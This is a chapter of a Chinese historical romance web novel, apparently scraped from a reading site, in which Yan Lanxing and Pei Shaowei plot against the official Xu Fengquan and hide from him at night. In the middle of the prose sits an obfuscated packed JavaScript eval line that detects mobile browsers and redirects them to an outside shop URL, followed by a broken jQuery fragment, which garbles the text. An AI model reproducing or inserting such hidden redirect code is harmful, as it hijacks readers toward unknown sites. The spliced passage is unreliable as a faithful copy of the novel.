这声音,裴少微?
他怎么会在这?
燕兰星身子一怔,紧接着将手里的匕首滑到袖口去,脸颊瞬势埋到裴少微身前。
徐奉泉眼里带着贪婪。
“小裴大人,你这就不够意思了吧。”
“我说你先前怎么看不上,原来这这里等着呢。”
徐奉泉皮笑肉不笑,看着美人被人严严实实的抱在怀里,他眼里闪过一丝妒忌。
裴少微一手搂着燕兰星的腰,一手将人按在怀里,燕兰星只露了一个后脑勺在外边。
太守不敢说话,“这……”
裴少微眼眸一抬,声音冷淡道:“徐大人莫不是忘了自己的任务?”
徐奉泉被小辈反驳,脸上有些挂不住,伸出手指着他,“你!”
他刚要找回面子,就看到原本站在徐奉泉身后的侍女往前了一步,手里银光一闪,直接向着徐奉泉刺去。
“狗贼,还我姐姐命来!”
徐奉泉被这变故吓得往后一退,哆嗦着退到侍卫身后。
那侍女手里攥着刀片,举刀欲刺,只不过刚扑上前去,就被一只长箭贯穿了心口,血液迸溅,落了徐奉泉一身。
差一点,差一点她就能够着徐奉泉了。
那女子眼里带着恨意,不甘的倒了下去。
燕兰星眉眼沉沉的看着这一幕,心口扑腾跳了两下,若是刚刚是她,怕是也没有活路。
她虽然幼时习武,但是在骊京早就磋磨的忘的差不多,也就是重生后才捡起来。
老实说,她箭法算是不错,先前她就想着射杀徐奉泉,但是变数太大了,一击不中下次再杀就完了。
可现在……
燕兰星心沉了沉,徐奉泉比她想象中的还难杀,也幸好刚刚她没出手。
不过话说裴少微怎么在这?
“保护好徐大人。”
裴少微不咸不淡的开口,话音落地,带着燕兰星转身离去。
发生了这么大的变故,人人注意着警戒,没有人注意他。
倒是燕兰星心里一坠,且先不说裴少微,三月今晚是接应她的,万一三月被抓了怎么办?
她信任三月的武功,但毕竟那些都是宫廷侍卫,怕是武功不低。
燕兰星一路忐忑着被带回了裴少微的住处,刚进屋子,裴少微就立马松开了揽着燕兰星的手。
屋内还燃着烛火,被窗边的风一吹,忽明忽暗。
裴少微随手罩上灯罩,又关上了窗户,然后屋内又是一阵沉默。
“你来这里做什么?”
两人同时开口。
“你先说。”
两人又是相同的默契。
燕兰星呼出一口气,顺手扯过一旁披风给自己披上,坐到了一旁的凳子上。
裴少微眼角落到燕兰星身上披着的衣服上,一顿,又赶紧移开视线。
燕兰星问道:“你知不知道那个徐奉泉是什么来头?”
裴少微垂眸,“是圣上的人。”
燕兰星眉头微皱,“那你知不知道他要去做什么?”
裴少微沉默了下,良久开口,“督军北疆,伺机拿走北疆兵符。”
“你知道。”
燕兰星一愣,站起身来,脸上带了些怒意,“那你在这里是做什么?”
她重重的拍了下桌面,身上的披着的衣裳掉了下来,裴少微下意识的想去帮燕兰星接着,但迈出去一步觉得不妥,硬生生的止住了。
他垂眸,不像让燕兰星误会,“你听我解释。”
“好,那你倒是说说。”
“我……”裴少微语气微顿,但还是道:,“我是奉皇命护送徐奉泉,事发突然,对不起,没能告诉你。”
燕兰星眯了眯眼睛,“护送?”
她冷哼一声,“既然是奉皇命那自然是要保密的,同我说这些干什么?”
她话是这么说,但是眼神里的质问却没变。
幼时情谊是幼时情谊,阵营对立若是威胁至亲,那她可要重新掂量掂量。
裴少微微微抬眸,“我知道你想问什么,我不会做对不起燕伯父的事,你信我。”
他说完,上前将掉落在桌面的披风捡起,给燕兰星披上,“披上,夜里冷。”
两人离的近,燕兰星看着裴少微眼里神色满是认真,她没在多问什么。
就在这时,门口有人敲了两下
“主子,府上没有刺客。”
元隐的话一出口,燕兰星就知道三月是安全的,微微松了口气。
裴少微应了声,“我知道了。”
元隐退下,屋子里只有烛火燃烧的声音。
屋子里一时静默,两个人这才觉出来有些后知后觉的尴尬,毕竟是深更半夜,再好的幼年玩伴中间隔了十年的光阴,到底是有些陌生来。
燕兰星揪着衣角在发呆,她在思考接下来该如何做,现在徐奉天泉在云城,再往前两个城就是城,如果她赶的上的话,还可以告诉她爹这个消息,还有三哥。
顾铭昇带着她三哥去,肯定没安什么好事。
燕锦铖又不知道这里边的问道,跟着父亲一起并肩,是他想了十几年的事,从小到大哪里有这个机会
不过顾铭昇到底在想什么,此间事了,她必须得跟上去看看,要不然总觉得哪里不放心。
但是到底要怎么杀……
“你是来杀徐奉泉的?”
燕兰星正在想事情,裴少微就给她丢了个炸弹,燕兰星有些警惕道:“你问这个做什么?”
裴少微小声劝阻,“你别杀……”
燕兰星闻言眼眸一立,“我就知道——”
裴少微止住了她的话,信誓旦旦道:“我来杀。”
“呃,嗯?”
燕兰星狐疑的看着身前的人,脸上的表情变得有些古怪,“啊?你刚刚说什么?”
“我说这件事我来解决,”
燕兰星惊了,“你不是护送他的吗?”
裴少微低了低头,“我是。”
“但现在还不是时候。”
两人对视,裴少微私心里不想让燕兰星掺和此事,知道徐奉泉消息的人少之又少,燕兰星身在深闺,想必是有人拿她当枪使。
而燕兰星看着裴少微,心里也有了计量,裴少微从虞城到骊京,幼年母丧,父亲苛待,想来也是处境艰难,到时候自己把人杀了,在想个法子把裴少微给摘出去。
窗边的蜡烛忽明忽灭,两人心里的念头天差地别。
外边突然想起了一阵子声音,夹着纷杂的脚步声,“徐大人,我家大人休息了。”
徐奉泉带着醉意的声音响起,“起开,我就是来看看。”
声音越来越近,往这边来了,眼看就到了门前。
裴少微伸手一揽,用披风将燕兰星裹紧,紧接着将人丢到了榻上。
徐奉泉进来的时候,刚好看见床帘晃一晃,紧接着,裴少微一只手伸出床帘,露出来半张脸,声音里满是被打扰的不悦。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182580|137626||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“怎么?徐大人,还有私闯别人门院的爱好?”
元隐跟在后边,脸色很是不好看,他低着头,“大人,属下失职。”
站在徐奉泉身后的是两个不起眼的侍卫,裴少微眸色沉沉盯着众人,颇有压迫感。
徐奉泉刚刚还被人刺杀,不过因着身边都是高手,就觉得性命无忧,一空闲下来,那美人的身影就在他心里晃呀晃,晃的她心痒痒。
裴少微一路上就没见他对哪个男的女的上过心,这半道截胡让他越想越不痛快。
于是他不死心,非要瞧上这么一眼。
裴少微看着徐奉泉的神色,眼神越发的冷,
“徐大人,夜深露重,您刚遭了刺杀,我想还是回去休息的好,这样徐大人身后的侍卫也能缓和缓和,你说呢?”
徐奉泉脸色一变,威胁,刺裸裸的威胁。
他是皇上的人,裴少微也是皇上的人。
谁是保护,实则监视,他可不信一个病秧子来保护他什么。
“哼,小裴大人说的是。”
徐奉泉说完,心不甘情不愿的一甩衣袖走了。
还能隐隐约约的听到他不忿的声音,“不过是个又丑又废的病秧子,还跟本爷摆谱。”
元隐眼神一冷,又迅速冷静下来,告退。
屋内又恢复了寂静,他转过身,将被子往下一掀,就看到燕兰星躺在床上,脸上还有没收回的咬牙切齿。
一想到圣上派这么个东西去收北疆的军权,她就气大的牙痒痒。
交了,打了败仗算谁的?不交,那就是谋逆大罪。
裴少微回过神,放开人,“刚刚事发突然,实在抱歉。”
“没事。”
燕兰星看过来,“徐奉泉身边的人,都是高手?”
裴少微点了点头,“是圣上身边的麒麟卫。”
那还真不好办,燕兰星语气一凝,“那怎么办?”
“总会有机会的。”
裴少微静了下接着道,“徐奉泉这人为人阴险,他不达目的不罢休,你这几日先在我这,对外……先委屈你几日。”
说完,他就要起身,“你先休息吧。”
“哎?等下……”
燕兰星伸手一拽,扯住了裴少微的袖子,“你干什么去?”
“我去小榻上。”
燕兰星微微皱了下眉头,那小塌靠着窗户,又硬又冷,再加上裴少微自己又是个病人,冻上这么一夜,万一冻出个什么好歹来怎么办!
她当机立断,“你睡床,我去小塌。”
裴少微想都不想就直接反驳,“不行,你怎么能睡小塌?”
“嗯?我怎么不能?”
燕兰星抱起一旁厚厚的披风,扬了下脑袋,“我每日可都要连一个时辰的武,身子强健着呢。”
裴少微长了张嘴,不知道该说什么反驳的话。
直到夜班,裴少微还是躺在床上睡不着,听着小塌那边传来平稳的呼吸声,裴少微只觉得燕兰星近在身边。
他伸手摸了摸胸口,摸到一个银制硬物,他伸手一扯,一块银色的小牌就到了手中。
玄黑色的银牌被摸的发亮,上面篆刻的燕宁二字反着微光。
裴少微摩挲了很久,最后左手食指拇指并拢,很轻的弹了下银牌,唇角似乎挂了一抹极淡的笑。
燕兰星身上好像有种魔力,只要她在他身旁,他总觉得心里被塞的满当当的。
他以为自己会失眠,没想到竟是一夜好梦。